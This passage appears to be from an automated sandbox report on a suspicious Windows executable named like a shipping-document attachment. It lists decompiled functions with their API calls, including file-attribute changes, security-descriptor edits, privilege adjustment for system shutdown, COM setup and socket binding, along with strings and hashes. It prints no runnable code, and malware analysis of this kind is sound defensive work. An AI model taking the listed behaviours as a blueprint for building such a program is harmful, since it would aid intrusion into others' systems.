                                                                                                                                                                                                          • GetCurrentDirectoryW.KERNEL32(00000104,?,?), ref: 00403871
                                                                                                                                                                                                          • GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00403887
                                                                                                                                                                                                          • __wsplitpath.LIBCMT ref: 004038B2
                                                                                                                                                                                                            • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                                                                                                                          • _wcscpy.LIBCMT ref: 004038C7
                                                                                                                                                                                                          • _wcscat.LIBCMT ref: 004038DC
                                                                                                                                                                                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 004038EC
                                                                                                                                                                                                            • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                                            • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                                                            • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                                                            • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                                                            • Part of subcall function 00403F40: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,?,?,0040397D,?,?,00000010), ref: 00403F54
                                                                                                                                                                                                            • Part of subcall function 00403F40: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000000,?,00000010), ref: 00403F8B
                                                                                                                                                                                                          • _wcscpy.LIBCMT ref: 004039C2
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 00403A53
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 00403AAA
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          • _, xrefs: 00403B48
                                                                                                                                                                                                          • #include depth exceeded. Make sure there are no recursive includes, xrefs: 0042B87B
                                                                                                                                                                                                          • Unterminated string, xrefs: 0042B9BA
                                                                                                                                                                                                          • Error opening the file, xrefs: 0042B8AC
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: _wcslen$ByteCharCurrentDirectoryMultiWide_wcscpy$Exception@8FullNamePathThrow__wsplitpath__wsplitpath_helper_malloc_wcscatstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                                                          • String ID: #include depth exceeded. Make sure there are no recursive includes$Error opening the file$Unterminated string$_
                                                                                                                                                                                                          • API String ID: 4115725249-188983378
                                                                                                                                                                                                          • Opcode ID: e410348e96554644cb024ebf95e8b2d2088fffc0e8404256067a24ee959a0054
                                                                                                                                                                                                          • Instruction ID: dca64db042171ec5605b2d10b6a92a42a2076cc25022adee7b8115af8a15fc96
                                                                                                                                                                                                          • Opcode Fuzzy Hash: e410348e96554644cb024ebf95e8b2d2088fffc0e8404256067a24ee959a0054
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 16D1D5B15083019AD710EF65C841AEB77E8AF95308F04492FF5C563292DB78DA49C7AB
                                                                                                                                                                                                          Function 00434BEE Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 139fileCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • FindFirstFileW.KERNEL32(?,?), ref: 00434C12
                                                                                                                                                                                                          • GetFileAttributesW.KERNEL32(?), ref: 00434C4F
                                                                                                                                                                                                          • SetFileAttributesW.KERNEL32(?,?), ref: 00434C65
                                                                                                                                                                                                          • FindNextFileW.KERNEL32(00000000,?), ref: 00434C77
                                                                                                                                                                                                          • FindClose.KERNEL32(00000000), ref: 00434C88
                                                                                                                                                                                                          • FindClose.KERNEL32(00000000), ref: 00434C9C
                                                                                                                                                                                                          • FindFirstFileW.KERNEL32(*.*,?), ref: 00434CB7
                                                                                                                                                                                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 00434CFE
                                                                                                                                                                                                          • SetCurrentDirectoryW.KERNEL32(0048A090), ref: 00434D22
                                                                                                                                                                                                          • FindNextFileW.KERNEL32(00000000,00000010), ref: 00434D2A
                                                                                                                                                                                                          • FindClose.KERNEL32(00000000), ref: 00434D35
                                                                                                                                                                                                          • FindClose.KERNEL32(00000000), ref: 00434D43
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
                                                                                                                                                                                                          • String ID: *.*
                                                                                                                                                                                                          • API String ID: 1409584000-438819550
                                                                                                                                                                                                          • Opcode ID: 55a9fa3bdb603958be151e0ad833d8004315071fb05557dfda8e1c4e562a15c1
                                                                                                                                                                                                          • Instruction ID: 399dbb17912f16e5170155dcc5475d9346bc7ba5aa4a4c8a0ea4d4714b2c7a66
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 55a9fa3bdb603958be151e0ad833d8004315071fb05557dfda8e1c4e562a15c1
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 4141D8726042086BD710EF64DC45AEFB3A8AAC9311F14592FFD54C3280EB79E915C7B9
                                                                                                                                                                                                          Function 00444078 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 94timesleepCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Timetime$Sleep
                                                                                                                                                                                                          • String ID: BUTTON
                                                                                                                                                                                                          • API String ID: 4176159691-3405671355
                                                                                                                                                                                                          • Opcode ID: c9fcf2e0d9fa6a0073e84c27d550d5c6e5d49d4b0adb2218bf3fff485548fdb5
                                                                                                                                                                                                          • Instruction ID: 32c89cc89acb3c111fc3cc5f781edb0c57d51ec263d79eeef99f8852f1a29925
                                                                                                                                                                                                          • Opcode Fuzzy Hash: c9fcf2e0d9fa6a0073e84c27d550d5c6e5d49d4b0adb2218bf3fff485548fdb5
                                                                                                                                                                                                          • Instruction Fuzzy Hash: CB21B7723843016BE330DB74FD4DF5A7B94A7A5B51F244876F600E6290D7A5D442876C
                                                                                                                                                                                                          Function 00445DD3 Relevance: 18.2, APIs: 12, Instructions: 179COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 004392BC: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 004392DE
                                                                                                                                                                                                            • Part of subcall function 004392BC: GetLastError.KERNEL32 ref: 004392E4
                                                                                                                                                                                                            • Part of subcall function 004392BC: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 0043930B
                                                                                                                                                                                                            • Part of subcall function 0043928B: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004392A5
                                                                                                                                                                                                          • GetSecurityDescriptorDacl.ADVAPI32(?,00000004,?,?,?,?), ref: 00445E4B
                                                                                                                                                                                                          • _memset.LIBCMT ref: 00445E61
                                                                                                                                                                                                          • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00445E83
                                                                                                                                                                                                          • GetLengthSid.ADVAPI32(?), ref: 00445E92
                                                                                                                                                                                                          • GetAce.ADVAPI32(?,00000000,?,?,00000018), ref: 00445EDE
                                                                                                                                                                                                          • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00445EFB
                                                                                                                                                                                                          • GetLengthSid.ADVAPI32(?,?,00000018), ref: 00445F11
                                                                                                                                                                                                          • GetLengthSid.ADVAPI32(?,00000008,?,?,00000000,?,00000000), ref: 00445F39
                                                                                                                                                                                                          • CopySid.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00445F40
                                                                                                                                                                                                          • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?,?,00000000,?,00000000), ref: 00445F6E
                                                                                                                                                                                                          • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000,?,00000000,?,00000000), ref: 00445F8B
                                                                                                                                                                                                          • SetUserObjectSecurity.USER32(?,?,?), ref: 00445FA0
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast_memset
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3490752873-0
                                                                                                                                                                                                          • Opcode ID: b11fc48791dee11005ef1ac308328aec1e94b5ee495351b15ab77ecbbd68b2cc
                                                                                                                                                                                                          • Instruction ID: 491154c1e478dcf6c9ac3cbca3c2c9e2645d4ee7bbdc2abf5fae4ada557f6fe4
                                                                                                                                                                                                          • Opcode Fuzzy Hash: b11fc48791dee11005ef1ac308328aec1e94b5ee495351b15ab77ecbbd68b2cc
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 85519D71108301ABD610DF61CD84E6FB7E9AFC9B04F04491EFA869B242D778E909C76B
                                                                                                                                                                                                          Function 0047A999 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 288comCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • OleInitialize.OLE32(00000000), ref: 0047AA03
                                                                                                                                                                                                          • CLSIDFromProgID.OLE32(00000000,?), ref: 0047AA27
                                                                                                                                                                                                          • CoCreateInstance.OLE32(?,00000000,00000005,004829C0,?), ref: 0047AAAA
                                                                                                                                                                                                          • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000), ref: 0047AB6B
                                                                                                                                                                                                          • _memset.LIBCMT ref: 0047AB7C
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 0047AC68
                                                                                                                                                                                                          • _memset.LIBCMT ref: 0047ACCD
                                                                                                                                                                                                          • CoCreateInstanceEx.OLE32 ref: 0047AD06
                                                                                                                                                                                                          • CoSetProxyBlanket.OLE32(004829D0,?,?,?,?,?,?,00000800), ref: 0047AD53
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          • NULL Pointer assignment, xrefs: 0047AD84
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CreateInitializeInstance_memset$BlanketFromProgProxySecurity_wcslen
                                                                                                                                                                                                          • String ID: NULL Pointer assignment
                                                                                                                                                                                                          • API String ID: 1588287285-2785691316
                                                                                                                                                                                                          • Opcode ID: 40e9c8eb680feb4042e694522f3113d29542bf103086fe34e1494599e09369de
                                                                                                                                                                                                          • Instruction ID: 16786b45dbc5194aa398acfc0f0ff3b91b98a178c64a073a91da7f4e0cb75f58
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 40e9c8eb680feb4042e694522f3113d29542bf103086fe34e1494599e09369de
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 54B10DB15083409FD320EF65C881B9FB7E8BBC8744F108E2EF58997291D7759948CB66
                                                                                                                                                                                                          Function 004364AA Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 79shutdownCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetCurrentProcess.KERNEL32(00000028,?), ref: 004364B9
                                                                                                                                                                                                          • OpenProcessToken.ADVAPI32(00000000), ref: 004364C0
                                                                                                                                                                                                          • LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 004364D6
                                                                                                                                                                                                          • AdjustTokenPrivileges.ADVAPI32 ref: 004364FE
                                                                                                                                                                                                          • GetLastError.KERNEL32 ref: 00436504
                                                                                                                                                                                                          • ExitWindowsEx.USER32(?,00000000), ref: 00436527
                                                                                                                                                                                                          • InitiateSystemShutdownExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000001), ref: 00436557
                                                                                                                                                                                                          • SetSystemPowerState.KERNEL32(00000001,00000000), ref: 0043656A
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ProcessSystemToken$AdjustCurrentErrorExitInitiateLastLookupOpenPowerPrivilegePrivilegesShutdownStateValueWindows
                                                                                                                                                                                                          • String ID: SeShutdownPrivilege
                                                                                                                                                                                                          • API String ID: 2938487562-3733053543
                                                                                                                                                                                                          • Opcode ID: 9f228ad1da6a4c81f8cb5394189ecc1147849337ed66d96e43b1ced3868a671c
                                                                                                                                                                                                          • Instruction ID: b625d7910520021a286729d09db348b3c4b0b131b75d5259d4bd29649b467962
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 9f228ad1da6a4c81f8cb5394189ecc1147849337ed66d96e43b1ced3868a671c
                                                                                                                                                                                                          • Instruction Fuzzy Hash: E021D5B02803017FF7149B64DD4AF6B3398EB48B10F948829FE09852D2D6BDE844973D
                                                                                                                                                                                                          Function 0043614F Relevance: 16.6, APIs: 11, Instructions: 103COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • __swprintf.LIBCMT ref: 00436162
                                                                                                                                                                                                          • __swprintf.LIBCMT ref: 00436176
                                                                                                                                                                                                            • Part of subcall function 0041353A: __woutput_l.LIBCMT ref: 0041358F
                                                                                                                                                                                                          • __wcsicoll.LIBCMT ref: 00436185
                                                                                                                                                                                                          • FindResourceW.KERNEL32(?,?,0000000E), ref: 004361A6
                                                                                                                                                                                                          • LoadResource.KERNEL32(?,00000000), ref: 004361AE
                                                                                                                                                                                                          • LockResource.KERNEL32(00000000), ref: 004361B5
                                                                                                                                                                                                          • FindResourceW.KERNEL32(?,?,00000003), ref: 004361DA
                                                                                                                                                                                                          • LoadResource.KERNEL32(?,00000000), ref: 004361E4
                                                                                                                                                                                                          • SizeofResource.KERNEL32(?,00000000), ref: 004361F0
                                                                                                                                                                                                          • LockResource.KERNEL32(?), ref: 004361FD
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Resource$FindLoadLock__swprintf$Sizeof__wcsicoll__woutput_l
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2406429042-0
                                                                                                                                                                                                          • Opcode ID: c1b2c305ea449a9eaa2c50be24a6d356ee30b865a6e7eb3c9e4c44cc17d92184
                                                                                                                                                                                                          • Instruction ID: 79d88324f8a28cdfdddc37bd7103cac5134eefaeeaedb246b69d205017f9fa0d
                                                                                                                                                                                                          • Opcode Fuzzy Hash: c1b2c305ea449a9eaa2c50be24a6d356ee30b865a6e7eb3c9e4c44cc17d92184
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 82313432104210BFD700EF64ED88EAF77A9FB89304F00882BFA4196150E778D940CB68
                                                                                                                                                                                                          Function 0045D517 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 91COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • SetErrorMode.KERNEL32(00000001), ref: 0045D522
                                                                                                                                                                                                          • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,?), ref: 0045D593
                                                                                                                                                                                                          • GetLastError.KERNEL32 ref: 0045D59D
                                                                                                                                                                                                          • SetErrorMode.KERNEL32(?), ref: 0045D629
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Error$Mode$DiskFreeLastSpace
                                                                                                                                                                                                          • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
                                                                                                                                                                                                          • API String ID: 4194297153-14809454
                                                                                                                                                                                                          • Opcode ID: 49e0e17e9479d30b414134c7f78092e00673ae1a45d158f41d80208550ba4cb8
                                                                                                                                                                                                          • Instruction ID: 49a1caac5541b587bc648ef7caa6256b54369420b38b3993b587487a6931f65b
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 49e0e17e9479d30b414134c7f78092e00673ae1a45d158f41d80208550ba4cb8
                                                                                                                                                                                                          • Instruction Fuzzy Hash: BA31AD75A083009FC310EF55D98090BB7E1AF89315F448D6FF94997362D778E9068B6A
                                                                                                                                                                                                          Function 0047AD92 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 251comCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • MkParseDisplayName.OLE32(?,00000000,?,?), ref: 0047AF0F
                                                                                                                                                                                                            • Part of subcall function 004781AE: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                                                                                                                                                            • Part of subcall function 004781AE: VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                                                                                                                                                            • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                                                                                                                                                            • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                                                                                                                                                          • OleInitialize.OLE32(00000000), ref: 0047AE06
                                                                                                                                                                                                            • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                                                                            • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 0047AE18
                                                                                                                                                                                                          • CreateBindCtx.OLE32(00000000,?), ref: 0047AEC2
                                                                                                                                                                                                          • CLSIDFromProgID.OLE32(00000000,?,?), ref: 0047AFCC
                                                                                                                                                                                                          • GetActiveObject.OLEAUT32(?,00000000,?), ref: 0047AFF9
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CopyVariant$_wcslen$ActiveBindCreateDisplayErrorFromInitializeLastNameObjectParseProg_wcscpy
                                                                                                                                                                                                          • String ID: HH
                                                                                                                                                                                                          • API String ID: 1915432386-2761332787
                                                                                                                                                                                                          • Opcode ID: e5cc958d5f324366fbee3d2ecbe33304f19c15b46d8e68c756c5eb73bbadfcb0
                                                                                                                                                                                                          • Instruction ID: 7e3b4e38c6064d991530b19baaff212313fd3e9d55f264e0ba959e8ba912c45c
                                                                                                                                                                                                          • Opcode Fuzzy Hash: e5cc958d5f324366fbee3d2ecbe33304f19c15b46d8e68c756c5eb73bbadfcb0
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 6C915C71604301ABD710EB65CC85F9BB3E8AFC8714F10892EF64597291EB78E909CB5A
                                                                                                                                                                                                          Function 0044ED9A Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 448COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                          • String ID: DEFINE$`$h$h
                                                                                                                                                                                                          • API String ID: 0-4194577831
                                                                                                                                                                                                          • Opcode ID: 924177e0c3576f85a96b78a37b3c3cedf46843da4e7c3acb3e3d7f55582469aa
                                                                                                                                                                                                          • Instruction ID: b1cbab3e2140d6a963e4b85c5b61650905c2e88cbb7a9c7ccaf19de07e543520
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 924177e0c3576f85a96b78a37b3c3cedf46843da4e7c3acb3e3d7f55582469aa
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 9802A1715083818FE725CF29C88076BBBE2BFD5304F28896EE89587342D779D849CB56
                                                                                                                                                                                                          Function 0046483C Relevance: 10.6, APIs: 7, Instructions: 103networkCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • socket.WSOCK32(00000002,00000001,00000006,?,00000000), ref: 004648B0
                                                                                                                                                                                                          • WSAGetLastError.WSOCK32(00000000,00000002,00000001,00000006,?,00000000), ref: 004648BE
                                                                                                                                                                                                          • bind.WSOCK32(00000000,?,00000010,00000002,00000001,00000006,?,00000000), ref: 004648DA
                                                                                                                                                                                                          • WSAGetLastError.WSOCK32(00000000,00000000,?,00000010,00000002,00000001,00000006,?,00000000), ref: 004648E6
                                                                                                                                                                                                          • closesocket.WSOCK32(00000000,00000000,00000000,00000000,00000005,00000000,?,00000010,00000002,00000001,00000006,?,00000000), ref: 0046492D
                                                                                                                                                                                                          Memory Dump Source
